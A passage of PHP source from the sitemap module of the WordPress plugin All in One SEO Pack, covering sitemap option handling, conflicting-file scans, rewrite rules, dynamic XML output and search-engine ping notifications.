$this->default_options['posttypes']['initial_options'] ) ) { $options[ "{$this->prefix}posttypes" ] = array_keys( $this->default_options['posttypes']['initial_options'] ); } // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( is_array( $options[ "{$this->prefix}taxonomies" ] ) && in_array( 'all', $options[ "{$this->prefix}taxonomies" ] ) && is_array( $this->default_options['taxonomies']['initial_options'] ) ) { $options[ "{$this->prefix}taxonomies" ] = array_keys( $this->default_options['taxonomies']['initial_options'] ); } if ( is_multisite() ) { $options[ $this->prefix . 'rewrite' ] = 'On'; } if ( ! is_array( $options[ $this->prefix . 'addl_pages' ] ) ) { $options[ $this->prefix . 'addl_pages' ] = wp_specialchars_decode( stripslashes_deep( $options[ $this->prefix . 'addl_pages' ] ), ENT_QUOTES ); $decoded = json_decode( $options[ $this->prefix . 'addl_pages' ] ); if ( null === $decoded ) { $decoded = maybe_unserialize( $options[ $this->prefix . 'addl_pages' ] ); } if ( ! is_array( $decoded ) ) { $decoded = (array) $decoded; } if ( null === $decoded ) { $decoded = $options[ $this->prefix . 'addl_pages' ]; } $options[ $this->prefix . 'addl_pages' ] = $decoded; } if ( is_array( $options[ $this->prefix . 'addl_pages' ] ) ) { foreach ( $options[ $this->prefix . 'addl_pages' ] as $k => $v ) { if ( is_object( $v ) ) { $options[ $this->prefix . 'addl_pages' ][ $k ] = (array) $v; } } } if ( isset( $options[ $this->prefix . 'addl_pages' ][0] ) ) { unset( $options[ $this->prefix . 'addl_pages' ][0] ); } // TODO Refactor all these... use a nonce, dump the incoming _Post into an array and use that. if ( ! empty( $_POST[ $this->prefix . 'addl_url' ] ) ) { foreach ( array( 'addl_url', 'addl_prio', 'addl_freq', 'addl_mod' ) as $field ) { if ( ! empty( $_POST[ $this->prefix . $field ] ) ) { // TODO Add/Change to filter_input(). $_POST[ $this->prefix . $field ] = esc_attr( wp_kses_post( $_POST[ $this->prefix . $field ] ) ); } else { // TODO Add/Change to filter_input(). $_POST[ $this->prefix . $field ] = ''; } } if ( ! is_array( $options[ $this->prefix . 'addl_pages' ] ) ) { $options[ $this->prefix . 'addl_pages' ] = array(); } if ( aiosp_common::is_url_valid( $_POST[ $this->prefix . 'addl_url' ] ) ) { $options[ $this->prefix . 'addl_pages' ][ $_POST[ $this->prefix . 'addl_url' ] ] = array( // TODO Add/Change to filter_input(). 'prio' => $_POST[ $this->prefix . 'addl_prio' ], 'freq' => $_POST[ $this->prefix . 'addl_freq' ], 'mod' => $_POST[ $this->prefix . 'addl_mod' ], ); } } if ( ! empty( $_POST[ $this->prefix . 'excl_terms' ] ) ) { $raw_excl_terms = filter_input( INPUT_POST, $this->prefix . 'excl_terms', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY ); // Parse taxonomy terms {$taxonomy_slug}-{$term_id}. $excl_terms = array(); foreach ( $raw_excl_terms as $v1_tax_term ) { $term_id = explode( '-', $v1_tax_term ); $term_id = intval( end( $term_id ) ); $taxonomy_slug = sanitize_text_field( str_replace( '-' . $term_id, '', $v1_tax_term ) ); // Initialize taxonomy => terms array if not yet set. if ( ! isset( $excl_terms[ $taxonomy_slug ] ) ) { $excl_terms[ $taxonomy_slug ] = array( 'terms' => array(), ); } $excl_terms[ $taxonomy_slug ]['taxonomy'] = $taxonomy_slug; $excl_terms[ $taxonomy_slug ]['terms'][] = $term_id; } $options[ $this->prefix . 'excl_terms' ] = $excl_terms; } return $options; } /** * Get Child Sitemap URLs * * Get sitemap urls of child blogs, if any. * * @since ? * * @return array */ public function get_child_sitemap_urls() { $siteurls = array(); $blogs = $this->get_child_blogs(); if ( ! empty( $blogs ) ) { $option_name = $this->get_option_name(); foreach ( $blogs as $blog_id ) { if ( $this->is_aioseop_active_on_blog( $blog_id ) ) { $options = get_blog_option( $blog_id, $this->parent_option ); if ( ! empty( $options ) && ! empty( $options['modules'] ) && ! empty( $options['modules']['aiosp_feature_manager_options'] ) && ! empty( $options['modules']['aiosp_feature_manager_options']['aiosp_feature_manager_enable_sitemap'] ) && ! empty( $options['modules'][ $option_name ] ) ) { global $wpdb; $sitemap_options = $options['modules'][ $option_name ]; $siteurl = ''; if ( defined( 'SUNRISE' ) && SUNRISE && is_object( $wpdb ) && isset( $wpdb->dmtable ) && ! empty( $wpdb->dmtable ) ) { // @codingStandardsIgnoreStart $domain = $wpdb->get_var( "SELECT domain FROM {$wpdb->dmtable} WHERE blog_id = '$blog_id' AND active = 1 LIMIT 1" ); // @codingStandardsIgnoreEnd if ( $domain ) { if ( ! isset( $_SERVER['HTTPS'] ) ) { $_SERVER['HTTPS'] = 'Off'; } $protocol = ( 'on' === strtolower( $_SERVER['HTTPS'] ) ) ? 'https://' : 'http://'; $siteurl = untrailingslashit( $protocol . $domain ); } } if ( ! $siteurl ) { $siteurl = get_home_url( $blog_id ); } $url = $siteurl . '/' . $this->get_filename() . '.xml'; $siteurls[] = $url; } } } } $siteurls = apply_filters( $this->prefix . 'sitemap_urls', $siteurls ); // Legacy. return apply_filters( $this->prefix . 'child_urls', $siteurls ); } /** * Gets Home Path * * If we're in wp-admin, use the WordPress function, otherwise we user our own version here. * This only applies to static sitemaps. * * @since 2.3.6.1 * * @return mixed|string */ public function get_home_path() { if ( function_exists( 'get_home_path' ) ) { return get_home_path(); } $home = set_url_scheme( get_option( 'home' ), 'http' ); $siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' ); if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) { $wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */ $pos = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) ); $home_path = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos ); $home_path = trailingslashit( $home_path ); } else { $home_path = ABSPATH; } return str_replace( '\\', '/', $home_path ); } /** * Whitelist Static Sitemaps * * Whitelists files from static sitemap conflict warning. * For right now, this is just externally produced news sitemaps until we figure out something better. * * @since 2.3.10.2 * * @param $file * @return string */ public function whitelist_static_sitemaps( $file ) { $whitelist = array( 'sitemap_news.xml', 'sitemap-news.xml' ); if ( in_array( $file, $whitelist, true ) ) { return ''; } return $file; } /** * Scan Match Files * * Scan for sitemaps on filesystem. * * @since ? * * @return array */ public function scan_match_files() { $scan1 = ''; $files = array(); $filename = $this->get_filename(); if ( ! empty( $filename ) ) { $scan1 = get_home_path() . $filename . '*.xml'; if ( empty( $scan1 ) ) { return $files; } $home_path = get_home_path(); $filescan = $this->scandir( $home_path ); if ( ! empty( $filescan ) ) { foreach ( $filescan as $f ) { if ( ! empty( $scan1 ) && fnmatch( $scan1, $home_path . $f ) ) { $f = $this->whitelist_static_sitemaps( $f ); $files[] = $home_path . $f; continue; } } } return $files; } } /** * Do Sitemap Scan * * Handle deleting / renaming of conflicting sitemap files. * * @todo Add/Fix nonce. * * @since ? */ public function do_sitemap_scan() { $msg = ''; if ( ! empty( $this->options[ "{$this->prefix}rewrite" ] ) && ( get_option( 'permalink_structure' ) === '' ) ) { $msg = '

      ' . __( 'Warning: dynamic sitemap generation must have permalinks enabled.', 'all-in-one-seo-pack' ) . '

      '; } if ( ! empty( $_POST['aioseop_sitemap_rename_files'] ) || ! empty( $_POST['aioseop_sitemap_delete_files'] ) ) { // TODO Add/Change to filter_input(). $nonce = $_POST['nonce-aioseop']; if ( ! wp_verify_nonce( $nonce, 'aioseop-nonce' ) ) { // TODO Change to wp_die(). die( __( 'Security Check - If you receive this in error, log out and back in to WordPress', 'all-in-one-seo-pack' ) ); } if ( ! empty( $_POST['aioseop_sitemap_conflict'] ) ) { $files = $this->scan_match_files(); foreach ( $files as $f => $file ) { $files[ $f ] = realpath( $file ); } foreach ( $_POST['aioseop_sitemap_conflict'] as $ren_file ) { $ren_file = realpath( get_home_path() . $ren_file ); // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( in_array( $ren_file, $files ) ) { if ( ! empty( $_POST['aioseop_sitemap_delete_files'] ) ) { if ( $this->delete_file( $ren_file ) ) { /* translators: Shows which sitemap files have been deleted. */ $msg .= '

      ' . sprintf( __( 'Deleted %s.', 'all-in-one-seo-pack' ), $ren_file ) . '

      '; } continue; } $count = 0; do { $ren_to = $ren_file . '._' . sprintf( '%03d', $count ) . '.old'; $count ++; } while ( $this->file_exists( $ren_to ) && ( $count < 1000 ) ); if ( $count >= 1000 ) { /* translators: Shows which sitemap files couldn't be renamed. */ $msg .= '

      ' . sprintf( __( "Couldn't rename file %s!", 'all-in-one-seo-pack' ), $ren_file ) . '

      '; } else { $ren = $this->rename_file( $ren_file, $ren_to ); if ( $ren ) { /* translators: Shows which sitemap files were renamed. */ $msg .= '

      ' . sprintf( __( 'Renamed %1$s to %2$s.', 'all-in-one-seo-pack' ), $ren_file, $ren_to ) . '

      '; } } } else { /* translators: Shows which sitemap files couldn't be found. */ $msg .= '

      ' . sprintf( __( "Couldn't find file %s!", 'all-in-one-seo-pack' ), $ren_file ) . '

      '; } } } } else { $msg .= $this->scan_sitemaps(); } if ( ! empty( $msg ) ) { $this->output_error( $msg ); } } /** * Scan Sitemaps * * Do the scan, return the results. * * @since ? * * @return string */ public function scan_sitemaps() { $msg = ''; $files = $this->scan_match_files(); if ( ! empty( $files ) ) { $msg = $this->sitemap_warning( $files ); } return $msg; } /** * Get Problem Files * * Get the list of potentially conflicting sitemap files, identify whether they came from us, are blank, or are of unknown origin. * * @since ? * @since 2.3.10 Add the ability to see empty sitemap files as well. * * @param $files * @param $msg * @return array */ public function get_problem_files( $files, &$msg ) { $problem_files = array(); $use_wpfs = true; $wpfs = $this->get_filesystem_object(); if ( ! is_object( $wpfs ) ) { $use_wpfs = false; } else { if ( 'direct' === $wpfs->method ) { $use_wpfs = false; } } foreach ( $files as $f ) { if ( $this->is_file( $f ) ) { $fn = $f; $compressed = false; if ( $this->substr( $f, - 3 ) === '.gz' ) { $compressed = true; } if ( $use_wpfs ) { if ( $compressed ) { // Inefficient but necessary. $file = $this->load_file( $fn ); if ( ! empty( $file ) ) { $file = gzuncompress( $file, 4096 ); } } else { $file = $this->load_file( $fn, false, null, - 1, 4096 ); } } else { if ( $compressed ) { $file_resource = gzopen( $fn, 'rb' ); $file = gzread( $file_resource, 4096 ); gzclose( $file_resource ); } else { // TODO Change to `wp_remote_get()`. $file = file_get_contents( $fn, false, null, 0, 4096 ); } } if ( ! empty( $file ) ) { $matches = array(); if ( preg_match( '//', $file, $matches ) ) { if ( ! empty( $this->options[ "{$this->prefix}rewrite" ] ) ) { /* translators: %1$s, %2$s, etc. are placeholders and should not be translated. %1$s expands to the name of a sitemap file, %2$s to the name of the plugin, All in One SEO Pack, %3$s is replaced with the plugin version number and %4$s with a date. */ $msg .= '

      ' . sprintf( __( "Warning: a static sitemap '%1\$s' generated by %2\$s %3\$s on %4\$s already exists that may conflict with dynamic sitemap generation.", 'all-in-one-seo-pack' ), $f, AIOSEOP_PLUGIN_NAME, $matches[2], $matches[3] ) . "

      \n"; $problem_files[] = $f; } } else { /* translators: Shows which 'unknown' file is conflicting with the current sitemap settings. */ $msg .= '

      ' . sprintf( __( 'Potential conflict with unknown file %s.', 'all-in-one-seo-pack' ), $f ) . "

      \n"; $problem_files[] = $f; } } else { /* translators: Shows which files were removed. */ $msg .= '

      ' . sprintf( __( 'Removed empty file %s.', 'all-in-one-seo-pack' ), $f ) . "

      \n"; $problem_files[] = $f; // This is causing all problem_files to be deleted automatically; which may be the intent. // TODO Either create a separate variable for this set of problem_files, or a final loop to clean problem_files before returning. foreach ( $problem_files as $f => $file ) { $files[ $f ] = realpath( $file ); $this->delete_file( realpath( $file ) ); } $problem_files = false; // Don't return anything. If it's blank, we'll take care of it here. } } } return $problem_files; } /** * Sitemap Warning * * Display the warning and the form for conflicting sitemap files. * * @since ? * * @param $files * @return string */ public function sitemap_warning( $files ) { $msg = ''; $conflict = false; $problem_files = $this->get_problem_files( $files, $msg ); if ( ! empty( $problem_files ) ) { $conflict = true; } if ( $conflict ) { foreach ( $problem_files as $p ) { $msg .= "\n"; } $msg .= "\n"; $msg .= ""; $msg .= " "; $msg = '
      ' . $msg . '
      '; } return $msg; } /** * Debug Message * * Updates debug log messages. * * Deprecated as of 2.3.10 in favor of WP debug log. We should eventually remove this. * * @since ? * * @param $msg */ public function debug_message( $msg ) { aiosp_log( $msg ); } /** * Setup Rewrites * * Set up hooks for rewrite rules for dynamic sitemap generation. * * @since ? */ public function setup_rewrites() { add_filter( 'rewrite_rules_array', array( $this, 'rewrite_hook' ) ); add_filter( 'query_vars', array( $this, 'query_var_hook' ) ); add_action( 'parse_query', array( $this, 'sitemap_output_hook' ) ); if ( ! get_transient( "{$this->prefix}rules_flushed" ) ) { add_action( 'wp_loaded', array( $this, 'flush_rules_hook' ) ); } } /** * Get Rewrite Rules * * Build and return our rewrite rules. * * @since ? * * @param string $prefix_removed_rules_with If rules are being removed, prefix them with this character * so that they are flushed properly and are not retained. * @return array */ public function get_rewrite_rules( $prefix_removed_rules_with = null ) { $sitemap_rules = array( $this->get_filename() . '.xml' => 'index.php?' . $this->prefix . 'path=root', '(.+)-' . $this->get_filename() . '(\d+).xml' => 'index.php?' . $this->prefix . 'path=$matches[1]&' . $this->prefix . 'page=$matches[2]', '(.+)-' . $this->get_filename() . '.xml' => 'index.php?' . $this->prefix . 'path=$matches[1]', ); if ( isset( $this->options[ "{$this->prefix}rss_sitemap" ] ) && $this->options[ "{$this->prefix}rss_sitemap" ] ) { $sitemap_rules += array( $this->get_filename() . '.rss' => 'index.php?' . $this->prefix . 'path=rss', $this->get_filename() . 'latest.rss' => 'index.php?' . $this->prefix . 'path=rss_latest', ); } elseif ( ! empty( $prefix_removed_rules_with ) ) { $sitemap_rules += array( $prefix_removed_rules_with . $this->get_filename() . '.rss' => 'index.php?' . $this->prefix . 'path=rss', $prefix_removed_rules_with . $this->get_filename() . 'latest.rss' => 'index.php?' . $this->prefix . 'path=rss_latest', ); } return $sitemap_rules; } /** * Rewrite Hook * * Add in our rewrite rules. * * @since ? * * @param $rules * @return array */ public function rewrite_hook( $rules ) { $sitemap_rules = $this->get_rewrite_rules(); if ( ! empty( $sitemap_rules ) ) { $rules = $sitemap_rules + $rules; } return $rules; } /** * Flush Rewrite Rule * * @since ? */ public function flush_rules_hook() { global $wp_rewrite; $sitemap_rules = $this->get_rewrite_rules( '|' ); if ( ! empty( $sitemap_rules ) ) { $rules = get_option( 'rewrite_rules' ); $new_rules = array_keys( $sitemap_rules ); foreach ( $new_rules as $rule ) { if ( ! isset( $rules[ $rule ] ) || ( $rules[ $rule ] !== $sitemap_rules[ $rule ] ) ) { $wp_rewrite->flush_rules(); set_transient( "{$this->prefix}rules_flushed", true, 43200 ); } } } } /** * Query Var Hook * * Add our query variable for sitemap generation. * * @since ? * * @param $vars * @return array */ public function query_var_hook( $vars ) { $vars[] = "{$this->prefix}path"; if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { $vars[] = "{$this->prefix}page"; } return $vars; } /** * Log Start * * Start timing and get initial memory usage for debug info. * * @since ? */ public function log_start() { $this->start_memory_usage = memory_get_peak_usage(); timer_start(); } /** * Log Stats * * Stop timing and log memory usage for debug info. * * @since ? * @since 3.0 Removed $compressed in issue #534 * * @param string $sitemap_type * @param bool $dynamic */ public function log_stats( $sitemap_type = 'static', $dynamic = true ) { $time = timer_stop(); $end_memory_usage = memory_get_peak_usage(); $sitemap_memory_usage = $end_memory_usage - $this->start_memory_usage; $end_memory_usage = $end_memory_usage / 1024.0 / 1024.0; $sitemap_memory_usage = $sitemap_memory_usage / 1024.0 / 1024.0; $sitemap_type = __( 'static', 'all-in-one-seo-pack' ); if ( $dynamic ) { $sitemap_type = __( 'dynamic', 'all-in-one-seo-pack' ); } $this->debug_message( sprintf( ' %01.2f MB memory used generating the %s sitemap in %01.3f seconds, %01.2f MB total memory used.', $sitemap_memory_usage, $sitemap_type, $time, $end_memory_usage ) ); } /** * Sitemaps Output Hook * * Handle outputting of dynamic sitemaps, logging. * * @since ? * @since 3.0 Show 404 template for empty content. #2190 * * @param $query */ public function sitemap_output_hook( $query ) { $page = 0; if ( $this->options[ "{$this->prefix}rewrite" ] && ! empty( $query->query_vars[ "{$this->prefix}path" ] ) ) { // Make dynamic sitemap. if ( ! empty( $query->query_vars[ "{$this->prefix}page" ] ) ) { $page = $query->query_vars[ "{$this->prefix}page" ] - 1; } $this->start_memory_usage = memory_get_peak_usage(); $sitemap_type = $query->query_vars[ "{$this->prefix}path" ]; $blog_charset = get_option( 'blog_charset' ); header( "Content-Type: text/xml; charset=$blog_charset", true ); // Always follow and noindex the sitemap. header( 'X-Robots-Tag: noindex, follow', true ); do_action( $this->prefix . 'add_headers', $query, $this->options ); $content = $this->do_rewrite_sitemap( $sitemap_type, $page ); // if the sitemap has no content, it's probabaly invalid and is being called directly. // @issue ( https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/2190 ). if ( empty( $content ) ) { $query->set_404(); status_header( 404 ); header( "Content-Type: text/html; charset=$blog_charset", true ); nocache_headers(); include( get_404_template() ); exit(); } echo $content; $this->log_stats( $sitemap_type ); exit(); } } /** * Make Dynamic XSL * * @since ? */ public function make_dynamic_xsl() { // Make dynamic xsl file. if ( preg_match( '#(/sitemap\.xsl)$#i', $_SERVER['REQUEST_URI'] ) ) { $blog_charset = get_option( 'blog_charset' ); header( "Content-Type: text/xml; charset=$blog_charset", true ); include_once AIOSEOP_PLUGIN_DIR . '/inc/sitemap-xsl.php'; exit(); } } /** * Get Sitemap Data * * @since ? * * @param $sitemap_type * @param int $page * @return array */ public function get_sitemap_data( $sitemap_type, $page = 0 ) { $sitemap_data = array(); if ( 0 === strpos( $sitemap_type, 'rss' ) ) { $sitemap_data = $this->get_sitemap_without_indexes(); } elseif ( $this->options[ "{$this->prefix}indexes" ] ) { $posttypes = $this->options[ "{$this->prefix}posttypes" ]; if ( empty( $posttypes ) ) { $posttypes = array(); } $taxonomies = $this->options[ "{$this->prefix}taxonomies" ]; if ( empty( $taxonomies ) ) { $taxonomies = array(); } if ( 'root' === $sitemap_type ) { $sitemap_data = array_merge( $this->get_sitemap_index_filenames() ); } elseif ( 'addl' === $sitemap_type ) { $sitemap_data = $this->get_addl_pages(); } elseif ( 'archive' === $sitemap_type && $this->option_isset( 'archive' ) ) { $sitemap_data = $this->get_date_archive_prio_data(); } elseif ( 'author' === $sitemap_type && $this->option_isset( 'author' ) ) { $sitemap_data = $this->get_author_prio_data(); } elseif ( in_array( $sitemap_type, $posttypes ) ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. $sitemap_data = $this->get_all_post_priority_data( $sitemap_type, 'publish', $page ); } elseif ( in_array( $sitemap_type, $taxonomies ) ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. $sitemap_data = $this->get_term_priority_data( get_terms( $this->get_tax_args( (array) $sitemap_type, $page ) ) ); } else { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( is_array( $this->extra_sitemaps ) && in_array( $sitemap_type, $this->extra_sitemaps ) ) { $sitemap_data = apply_filters( $this->prefix . 'custom_' . $sitemap_type, $sitemap_data, $page, $this_options ); } } } elseif ( 'root' === $sitemap_type ) { $sitemap_data = $this->get_sitemap_without_indexes(); } return apply_filters( $this->prefix . 'data', $sitemap_data, $sitemap_type, $page, $this->options ); } /** * Do Rewrite Sitemap * * Output sitemaps dynamically based on rewrite rules. * * @since ? * @since 3.0 Return a (string) value. #2190 * * @param $sitemap_type * @param int $page * @return string */ public function do_rewrite_sitemap( $sitemap_type, $page = 0 ) { $this->add_post_types(); $comment = 'dynamically'; // TODO Add esc_* or wp_kses function. return $this->do_build_sitemap( $sitemap_type, $page, '', $comment ); } /** * Get Sitemap URL * * Build a url to the sitemap. * * @since 2.3.6 * @since 2.3.12.3 Refactored to use aioseop_home_url() for compatibility purposes. * * @return string */ public function get_sitemap_url() { $url = aioseop_home_url( '/' . $this->get_filename() . '.xml' ); return $url; } /** * Do Notify * * Notify search engines, do logging. * * @since ? */ public function do_notify() { if ( '0' === get_option( 'blog_public' ) ) { // Don't ping search engines if blog is set to not public. return; } if ( apply_filters( 'aioseo_sitemap_ping', true ) === false ) { // API filter hook to disable sending sitemaps to search engines. return; } $notify_url = array( 'google' => 'https://www.google.com/ping?sitemap=', 'bing' => 'https://www.bing.com/ping?sitemap=', ); $notify_url = apply_filters( 'aioseo_sitemap_ping_urls', $notify_url ); $url = $this->get_sitemap_url(); if ( ! empty( $url ) ) { foreach ( $notify_url as $k => $v ) { // TODO Change urlencode() to rawurlencode(). // @link ( http://php.net/manual/en/function.rawurlencode.php ). // @link ( http://www.faqs.org/rfcs/rfc3986.html ). $response = wp_remote_get( $notify_url[ $k ] . urlencode( $url ) ); if ( is_array( $response ) && ! empty( $response['response'] ) && ! empty( $response['response']['code'] ) ) { if ( 200 !== intval( $response['response']['code'] ) ) { /* translators: Notifies the admin which sitemaps failed to notify with which search engine(s), and display the error code. */ $this->debug_message( sprintf( __( 'Failed to notify %1$s about changes to your sitemap at %2$s, error code %3$s.', 'all-in-one-seo-pack' ), $k, $url, $response['response']['code'] ) ); } } else { /* translators: Notifies the admin which sitemaps failed to notify with which search engine(s). */ $this->debug_message( sprintf( __( 'Failed to notify %1$s about changes to your sitemap at %2$s, unable to access via wp_remote_get().', 'all-in-one-seo-pack' ), $k, $url ) ); } } } } /** * Do Robots * * Add Sitemap parameter to virtual robots.txt file. * * @since ? */ public function do_robots() { $url = $this->get_sitemap_url(); // TODO Add esc_* or wp_kses function. echo "\nSitemap: $url\n"; } /** * Do Sitemaps * * Build static sitemaps on submit if rewrite rules are not in use, do logging. * * @since ? * * @param string $message */ public function do_sitemaps( $message = '' ) { if ( defined( 'AIOSEOP_UNIT_TESTING' ) ) { $aioseop_options = aioseop_get_options(); $this->options = $aioseop_options['modules'][ "{$this->prefix}options" ]; } if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { if ( $this->options[ "{$this->prefix}max_posts" ] && ( $this->options[ "{$this->prefix}max_posts" ] > 0 ) && ( $this->options[ "{$this->prefix}max_posts" ] < 50000 ) ) { $this->max_posts = $this->options[ "{$this->prefix}max_posts" ]; } else { $this->max_posts = 50000; } } else { $this->max_posts = 50000; } if ( ! $this->options[ "{$this->prefix}rewrite" ] ) { if ( $this->options[ "{$this->prefix}indexes" ] ) { $this->do_indexed_sitemaps(); } else { $this->log_start(); $comment = sprintf( "file '%s' statically", $this->get_filename() ); $sitemap = $this->do_simple_sitemap( $comment ); $this->write_sitemaps( $this->get_filename(), $sitemap ); if ( $this->options[ "{$this->prefix}rss_sitemap" ] ) { $rss = $this->do_simple_sitemap_rss( $comment ); $this->write_sitemaps( $this->get_filename(), $rss, '.rss' ); } $this->log_stats( 'root', false ); } } else { delete_transient( "{$this->prefix}rules_flushed" ); } $this->do_notify(); if ( ! empty( $message ) && is_string( $message ) ) { $this->debug_message( $message ); } } /** * Add XML Mime Type. * * @since ? * * @param $mime * @return mixed */ public function add_xml_mime_type( $mime ) { if ( ! empty( $mime ) ) { $mime['xml'] = 'text/xml'; } return $mime; } /** * Write Sitemaps * * Write multiple sitemaps to the filesystem. * * @since ? * * @param $filename * @param $contents */ public function write_sitemaps( $filename, $contents, $extn = '.xml' ) { $this->write_sitemap( $filename . $extn, $contents ); } /** * Write Sitemap * * Write a single sitemap to the filesystem. * * @since ? * @since 3.0 Removed $gzip in issue #534 * * @param $filename * @param $contents * @return bool */ public function write_sitemap( $filename, $contents ) { add_filter( 'upload_mimes', array( $this, 'add_xml_mime_type' ) ); $filename = $this->get_home_path() . sanitize_file_name( $filename ); remove_filter( 'upload_mimes', array( $this, 'add_xml_mime_type' ) ); return $this->save_file( $filename, $contents ); } /** * Gets Default Values * * Helper function for handling default values. * * @since ? * * @param $defaults * @param $prefix * @param $cache * @param $item * @param bool $nodefaults * @param string $type * @return bool */ public function get_default_values( $defaults, $prefix, &$cache, $item, $nodefaults = false, $type = '' ) { if ( ! empty( $cache[ $item . $type ] ) ) { return $cache[ $item . $type ]; } if ( ! empty( $defaults[ $item ] ) ) { $field = $this->prefix . $prefix . $item; if ( $this->option_isset( $prefix . $item ) && 'no' !== $this->options[ $field ] ) { if ( ( 'sel' === $this->options[ $field ] ) && ! empty( $type ) && isset( $this->options[ $this->prefix . $prefix . $item . '_' . $type ] ) ) { if ( 'no' === $this->options[ $this->prefix . $prefix . $item . '_' . $type ] ) { return false; } if ( 'sel' === $this->options[ $this->prefix . $prefix . $item . '_' . $type ] ) { return false; } $cache[ $item . $type ] = $this->options[ $this->prefix . $prefix . $item . '_' . $type ]; } else { if ( 'no' === $this->options[ $field ] ) { return false; } if ( 'sel' === $this->options[ $field ] ) { return false; } $cache[ $item . $type ] = $this->options[ $field ]; } return $cache[ $item . $type ]; } if ( $nodefaults ) { return false; } return $defaults[ $item ]; } return false; } /** * Get Default Priority * * Get priority settings for sitemap entries. * * @since ? * * @param $item * @param bool $nodefaults * @param string $type * @return bool */ public function get_default_priority( $item, $nodefaults = false, $type = '' ) { $defaults = array( 'homepage' => '1.0', 'blog' => '0.9', 'sitemap' => '0.8', 'post' => '0.7', 'archive' => '0.5', 'author' => '0.3', 'taxonomies' => '0.3', ); static $cache = array(); return $this->get_default_values( $defaults, 'prio_', $cache, $item, $nodefaults, $type ); } /** * Get Default Frequency * * Get frequency settings for sitemap entries. * * @since ? * * @param $item * @param bool $nodefaults * @param string $type * @return bool */ public function get_default_frequency( $item, $nodefaults = false, $type = '' ) { $defaults = array( 'homepage' => 'always', 'blog' => 'daily', 'sitemap' => 'hourly', 'post' => 'weekly', 'archive' => 'monthly', 'author' => 'weekly', 'taxonomies' => 'monthly', ); static $cache = array(); return $this->get_default_values( $defaults, 'freq_', $cache, $item, $nodefaults, $type ); } /** * Get Sitemaps Index Filenames * * Build an index of sitemaps used. * * @since 2.3.6 * @since 2.3.12.3 Refactored to use aioseop_home_url() for compatibility purposes. * @since 3.0 Changed to exclude noindex post types. #1382 * @return array */ public function get_sitemap_index_filenames() { global $aioseop_options; $files = array(); $options = $this->options; $prefix = $this->get_filename(); $suffix = '.xml'; if ( empty( $options[ "{$this->prefix}posttypes" ] ) ) { $options[ "{$this->prefix}posttypes" ] = array(); } if ( empty( $options[ "{$this->prefix}taxonomies" ] ) ) { $options[ "{$this->prefix}taxonomies" ] = array(); } $options[ "{$this->prefix}posttypes" ] = array_diff( $options[ "{$this->prefix}posttypes" ], array( 'all' ) ); $options[ "{$this->prefix}taxonomies" ] = $this->show_or_hide_taxonomy( array_diff( $options[ "{$this->prefix}taxonomies" ], array( 'all' ) ) ); $files[] = array( 'loc' => aioseop_home_url( '/addl-' . $prefix . $suffix ) ); // Get post types selected, and NoIndex post types & Index posts. $post_types = $options[ "{$this->prefix}posttypes" ]; if ( is_array( $aioseop_options['aiosp_cpostnoindex'] ) ) { foreach ( $post_types as $index => $post_type ) { if ( in_array( $post_type, $aioseop_options['aiosp_cpostnoindex'], true ) ) { $args = array( 'post_type' => $post_type, 'fields' => 'ids', 'posts_per_page' => 1, 'meta_query' => array( 'relation' => 'OR', array( 'key' => '_aioseop_noindex', 'value' => 'off', 'compare' => '=', ), ), ); $q = new WP_Query( $args ); if ( 0 === $q->post_count ) { unset( $post_types[ $index ] ); } } } } if ( ! empty( $post_types ) ) { $prio = $this->get_default_priority( 'post' ); $freq = $this->get_default_frequency( 'post' ); // Get post counts from posts type. Exclude if NoIndex is on, and does not contain excluded terms. $args = array( 'post_type' => $post_types, 'post_status' => 'publish', 'meta_query' => array( 'relation' => 'OR', array( 'key' => '_aioseop_noindex', 'value' => 'on', 'compare' => '!=', ), array( 'key' => '_aioseop_noindex', 'compare' => 'NOT EXISTS', ), ), ); if ( $this->option_isset( 'excl_terms' ) ) { // Adds excluded terms to exclude from query. foreach ( $this->options[ $this->prefix . 'excl_terms' ] as $k1_taxonomy => $v1_tax_terms ) { if ( ! isset( $args['tax_query'] ) ) { $args['tax_query'] = array( 'relation' => 'AND', ); } $args['tax_query'][] = array( 'taxonomy' => $k1_taxonomy, 'terms' => $v1_tax_terms['terms'], 'operator' => 'NOT IN', ); } } $post_counts = $this->get_all_post_counts( $args ); foreach ( $post_types as $sm ) { if ( 0 === intval( $post_counts[ $sm ] ) ) { continue; } if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { if ( $post_counts[ $sm ] > $this->max_posts ) { $count = 1; for ( $post_count = 0; $post_count < $post_counts[ $sm ]; $post_count += $this->max_posts ) { $files[] = array( 'loc' => aioseop_home_url( '/' . $sm . '-' . $prefix . ( $count ++ ) . $suffix ), 'changefreq' => $freq, 'priority' => $prio, ); } } else { $files[] = array( 'loc' => aioseop_home_url( '/' . $sm . '-' . $prefix . $suffix ), 'changefreq' => $freq, 'priority' => $prio, ); } } else { $files[] = array( 'loc' => aioseop_home_url( '/' . $sm . '-' . $prefix . $suffix ), 'changefreq' => $freq, 'priority' => $prio, ); } } } if ( $this->option_isset( 'archive' ) ) { $files[] = array( 'loc' => aioseop_home_url( '/' . 'archive-' . $prefix . $suffix ), 'changefreq' => $this->get_default_frequency( 'archive' ), 'priority' => $this->get_default_priority( 'archive' ), ); } if ( $this->option_isset( 'author' ) ) { $files[] = array( 'loc' => aioseop_home_url( '/' . 'author-' . $prefix . $suffix ), 'changefreq' => $this->get_default_frequency( 'author' ), 'priority' => $this->get_default_priority( 'author' ), ); } if ( ! empty( $options[ "{$this->prefix}taxonomies" ] ) ) { foreach ( $options[ "{$this->prefix}taxonomies" ] as $v1_taxonomy ) { $tax_args = $this->get_tax_args( array( $v1_taxonomy ) ); $tax_args['fields'] = 'count'; $term_count = get_terms( $tax_args 